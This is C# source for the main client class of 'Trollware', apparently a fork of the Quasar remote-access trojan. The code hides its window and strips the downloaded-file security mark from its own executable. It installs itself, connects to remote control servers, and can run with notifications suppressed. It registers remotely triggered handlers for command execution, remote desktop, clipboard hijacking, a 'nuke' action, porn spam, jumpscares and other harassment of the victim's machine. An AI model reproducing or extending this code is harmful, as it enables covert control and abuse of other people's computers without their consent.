using Quasar.Client.Config;
using Quasar.Client.Messages;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client
{
    /// <summary>
    /// The client application which handles basic bootstrapping of the message processors and background tasks.
    /// </summary>
    public class QuasarApplication : Form
    {
        /// <summary>
        /// A system-wide mutex that ensures that only one instance runs at a time.
        /// </summary>
        public SingleInstanceMutex ApplicationMutex;

        /// <summary>
        /// The client used for the connection to the server.
        /// </summary>
        private QuasarClient _connectClient;

        /// <summary>
        /// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
        /// </summary>
        private readonly List<IMessageProcessor> _messageProcessors;
        
        /// <summary>
        /// Keeps track of the user activity.
        /// </summary>
        private ActivityDetection _userActivityDetection;

        /// <summary>
        /// Determines whether an installation is required depending on the current and target paths.
        /// </summary>
        private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;

        /// <summary>
        /// Notification icon used to show notifications in the taskbar.
        /// </summary>
        private readonly NotifyIcon _notifyIcon;

        /// <summary>
        /// Initializes a new instance of the <see cref="QuasarApplication"/> class.
        /// </summary>
        public QuasarApplication()
        {
            _messageProcessors = new List<IMessageProcessor>();
            _notifyIcon = new NotifyIcon();
        }

        /// <summary>
        /// Starts the application.
        /// </summary>
        /// <param name="e">An System.EventArgs that contains the event data.</param>
        protected override void OnLoad(EventArgs e)
        {
            Visible = false;
            ShowInTaskbar = false;
            Run();
            base.OnLoad(e);
        }

        /// <summary>
        /// Initializes the notification icon.
        /// </summary>
        private void InitializeNotifyicon()
        {
            _notifyIcon.Text = "Trollware\nNo connection";
            _notifyIcon.Visible = true;
            try
            {
                _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex);
                _notifyIcon.Icon = SystemIcons.Application;
            }
        }

        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
                Environment.Exit(1);

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
                Environment.Exit(2);

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                    Environment.Exit(3);
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (!Settings.UNATTENDEDMODE)
                    InitializeNotifyicon();

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                _connectClient.ClientState += ConnectClientOnClientState;
                InitializeMessageProcessors(_connectClient);

                _userActivityDetection = new ActivityDetection(_connectClient);
                _userActivityDetection.Start();

                new Thread(() =>
                {
                    // Start connection loop on new thread and dispose application once client exits.
                    // This is required to keep the UI thread responsive and run the message loop.
                    _connectClient.ConnectLoop();
                    Environment.Exit(0);
                }).Start();
            }
        }

        private void ConnectClientOnClientState(Networking.Client s, bool connected)
        {
            if (connected)
                _notifyIcon.Text = "Trollware\nConnection established";
            else
                _notifyIcon.Text = "Trollware\nNo connection";
        }

        /// <summary>
        /// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
        /// </summary>
        /// <param name="client">The client which handles the connection.</param>
        /// <remarks>Always initialize from UI thread.</remarks>
        private void InitializeMessageProcessors(QuasarClient client)
        {
            _messageProcessors.Add(new ExecutionHandler());
            _messageProcessors.Add(new BeepSpamHandler());
            _messageProcessors.Add(new DrunkModeHandler());
            _messageProcessors.Add(new FartScrollHandler());
            _messageProcessors.Add(new NukeHandler());
            _messageProcessors.Add(new PianoHandler());
            _messageProcessors.Add(new ClientServicesHandler(this, client));
            _messageProcessors.Add(new ClipboardHijackHandler());
            _messageProcessors.Add(new ColorInvertHandler());
            _messageProcessors.Add(new CursorChaosHandler());
            _messageProcessors.Add(new EyesHandler());
            _messageProcessors.Add(new GhostTypingHandler());
            _messageProcessors.Add(new JumpscareHandler());
            _messageProcessors.Add(new MessageBoxHandler());
            _messageProcessors.Add(new PornSpamHandler());
            _messageProcessors.Add(new RemoteDesktopHandler());
            _messageProcessors.Add(new SchizophreniaHandler());
            _messageProcessors.Add(new TextToSpeechHandler());
            _messageProcessors.Add(new TrollExtrasHandler());
            _messageProcessors.Add(new WebsiteVisitorHandler());

            foreach (var msgProc in _messageProcessors)
            {
                MessageHandler.Register(msgProc);
                if (msgProc is NotificationMessageProcessor notifyMsgProc)
                    notifyMsgProc.ProgressChanged += ShowNotification;
            }
        }

        /// <summary>
        /// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
        /// </summary>
        private void CleanupMessageProcessors()
        {
            foreach (var msgProc in _messageProcessors)
            {
                MessageHandler.Unregister(msgProc);
                if (msgProc is NotificationMessageProcessor notifyMsgProc)
                    notifyMsgProc.ProgressChanged -= ShowNotification;
                if (msgProc is IDisposable disposableMsgProc)
                    disposableMsgProc.Dispose();
            }
        }

        private void ShowNotification(object sender, string value)
        {
            if (Settings.UNATTENDEDMODE)
                return;
            
            _notifyIcon.ShowBalloonTip(4000, "Trollware", value, ToolTipIcon.Info);
        }

        protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                CleanupMessageProcessors();
                _userActivityDetection?.Dispose();
                ApplicationMutex?.Dispose();
                _connectClient?.Dispose();
                _notifyIcon.Visible = false;
                _notifyIcon.Dispose();
            }
            base.Dispose(disposing);
        }
    }
}
